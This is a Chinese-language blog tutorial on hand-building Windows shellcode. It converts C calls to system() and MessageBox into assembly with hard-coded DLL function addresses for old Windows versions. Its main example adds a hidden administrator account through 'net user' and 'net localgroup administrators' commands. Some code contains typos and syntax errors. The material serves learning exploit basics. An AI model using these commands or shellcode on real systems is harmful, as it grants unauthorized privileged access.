Windows下ShellCode编写初步

一、初识ShellCode

1. ShellCode理解

指一组计算机能直接执行(不需要点击和编译),实现我们想要功能的机器代码,通常以十六进制数组的形式存在。

2. 简单例子--编写控制台窗口的ShellCode

打开控制台窗口的C程序如下:

#include <windows.h>
int main()
{
    LoadLibrary(“msvcrt.dll”);   //调用msvcrt.dll动态链接库
    system(“command.com”);  //使用system函数,执行弹窗命令

    return 0;
}

修改后的版本:

#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC) (LPTSTR); //定义一个函数指针,指向函数的参数是字符串,返回值是空

int main()
{
    HINSTANCE LibHandle;
    MYPROC ProcAdd;
    LibHandle = LoadLibrary(“msvcrt.dll”);  //加载msvcrt.dll 这个动态链接库,句柄赋给LibHandle
    ProcAdd = (MYPROC)  GetProcAddress (LibHandle, “system”);  //获得system的真实地址,之后再使用这个真实地址来调用system函数,ProcAdd存的是system函数的地址
    (ProcAdd) (“command.com”);  //调用 system(“ command,com”),实现功能

    return 0;
}     

win7 sp1系统msvcrt.dll的地址为:0x770C0000

win7 sp1系统system函数的地址为:0x7711816F

说明:VC 调试:Fn+F10 进入调试状态,Debug工具栏中,按钮 “Disassemble” 查看汇编代码,按钮“Registers” 查看寄存器状态。Step Over(F10)进入单步向下执行。当某条指令执行完后,寄存器窗口的各个寄存器值会发生变化。函数的返回值会放在EAX寄存器,因此查看EAX寄存器的值即为msvcrt.dll的地址。

3. windows下的函数调用原理

在windows下,函数的调用需要先把函数所在的动态链接库加载进去,在执行的时候用堆栈传递参数,然后直接call该函数的地址就完成了。如,windows下执行函数Func(argv1, argv2, argv3)过程:

4. 汇编和机器码——真正ShellCode的生成

生成ShellCode的过程:先写出C程序,将其改为汇编程序,再找出汇编程序对应的机器码,拼接起来即为ShellCode。

system(“command.exe”) 的汇编代码如下:

mov esp, ebp;
push ebp;
mov ebp,esp;    //把当前esp赋给ebp
xor edi,edi;
push dei;       // 压入0, esp-4; 作用是构造字符串的结尾\0字符。
sub esp,08h;  //加上上面,一共有12个字节;用来放"command.com"。   
mov byte ptr [ebp-0ch],63h;  // c
mov byte ptr [ebp-0bh],6fh;  // o
mov byte ptr [ebp-0ah],6dh;  // m 
mov byte ptr [ebp-09h],6Dh; // m
mov byte ptr [ebp-08h],61h;  // a
mov byte ptr [ebp-07h],6eh;  // n 
mov byte ptr [ebp-06h],64h;  // d
mov byte ptr [ebp-05h],2Eh;  // .
mov byte ptr [ebp-04h],63h;  // c
mov byte ptr [ebp-03h],6fh;  // o
mov byte ptr [ebp-02h],6dh;  // m , 一个一个生成串"command.com".
lea eax, [ebp-0ch];
push eax;           // “command.com”字符串地址作为参数入栈
mov eax, 0x7711816F; 
call eax;            // call system函数的地址

二、ShellCode通用性的初步分析

1. 上述代码的不足

之前ShellCode的缺点:
(1)功能不实用:实际的ShellCode一般都是开个端口让人远程登录,或者下载文件执行等;
(2)不通用:用了固定的函数地址,当系统不同时函数的地址会不同

2. 通用性的初步探索

在每种系统中找出任意想要的动态链接库和函数的地址,C代码如下:

#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR):

int main()
{
    HINSTANCE LibHandle;
    MYPROC ProcAdd;
    LibHandle = LoadLibrary("msvcrt.dll");
    printf("msvcrt LibHandle = 0x%x\n", LibHandle);
    ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
    printf("system = 0x%x\n", ProcAdd);

    return 0;
}

由下图可看出win7 sp1系统中msvcrt.dll链接库地址为:0x770c0000,system函数地址为:0x7711b16f ;

注:系统中没有LoadLibray这个函数的,只有LoadLibraryA和LoadLibraryW这两个函数,在ASCII参数时系统会用LoadLibraryA,在Unicode参数时会用LoadLibraryW。LoadLibrary函数属于kernel32.dll,因此可找到winxp sp3系统中kernel32.dll链接库的地址为:0x7c800000,LoadLibrary函数的地址为:0x7c801d7b。

3. 弹出windows对话框ShellCode的编写

windows系统弹出对话框的C代码如下:

#include <windows.h>
int main(int argc, char* argv[])
{
    LoadLibrary("user32.dll");
    MessageBox(0,,"hello_manu","manu",1); //弹出windows对话框,对话框标题为“manu”,里面的内容为“hello_manu”
    
    return 0;
}

注:MessageBox函数:第一个参数表明对话框所属的窗口句柄。如果第一个参数为NULL(即0),那么对话框不属于任何窗口。最后一个参数,是表明对话框的类型。0代表MB_OK,即只有一个‘OK’按钮;1代表MB_OKCANCEL,对话框会有‘OK’和‘Cancel’两个按钮。

4. 添加用户ShellCode的编写

windows中添加用户方法:
(1)在控制面板里的“用户帐号”中添加
(2)在DOS命令行下执行 net user name /add ,要把一个帐户添加到管理员,则要在DOS命令行下执行 net localgroup administrators name /add 。

添加一个名为“c”的管理员的C程序代码如下:

#include  <windows.h>
int main()
{
    LoadLibray(“msvcrt.dll”);
    system(“net user c /add”);
    system(“net localgroup administrators c /add”);

    return 0;
}

把上面的程序改成汇编:system(“net user c /add”) 按照windows系统执行函数的原理先参数入栈,再call system函数的地址。这里的参数是“net user c /add”字符串的地址,所以先在栈中构造出“net user c /add”。

三、知识点汇总

  1. 在windows系统下,多字节数存放的规则是:数的高位放在内存高址,数的低位放在内存低址。对0x77E6A25478来说,0x77是最高位,所以要放在内存的高地址,而在字符串中,是按照内存从低到高排列的,所以要把0x77放在字符串中数的最后。

  2. LoadLibraryA和system函数的地址在win2000 sp0下,分别是0x77E78023和0x7801AAAD;在sp2下分别是0x77E6A254和0x78019B4A;在sp3下分别是0x77E69F64和0x7801AFC3;在xp sp0下分别是0x77E605D8和0x77BF8044。

  3. windows下,存在几种编程接口:
    (1)一种是windows API函数。这类函数是和windows系统相关的,使用的也是windows下才特有的数据类型(比如char)。API函数就存在A和W这两种实现,而LoadLibrary是API函数。
    (2)一种是C运行链接库,是按照C语言的标准来实现的,所以只有小写字母,而且只有一种实现,比如system函数。

  4. 区分API函数和C运行库函数
    从函数的命名可以看:API函数遵循的是windows自己定义的命名规范,是大小写混写的函数,例如LoadLibrary;C语言标准中,规定函数名称都是小写,所以C运行库函数也遵循全是小写的规范,如system。

  5. ShellCode里面不能有0x00,因为0x00是字符串的结束符,如果ShellCode中存在,就会被截断。

四、总结

本章讲解了Windows系统下的ShellCode编写方法,主要思路是先用C代码实现ShellCode的功能(如弹窗,添加用户等),然后改为汇编代码,再进行编译,找出汇编对应的机器码,将机器码拼接起来即为ShellCode。它是一组以十六进制形式表示的数组。另外windows下函数的调用一般使用动态链接库的形式,即先加载函数所在的动态链接库,然后再调用函数。其中,LoadLibrary函数属于"kernel32.dll"动态库,MessageBox函数属于"user32.dll"动态库,system函数属于"msvcrt.dll"动态库。
下一章将进行"后门的编写和ShellCode的提权"等的学习,希望再接再厉!

posted @ 2018-08-08 19:16  ma_nu  阅读(4807)  评论(0编辑  收藏  举报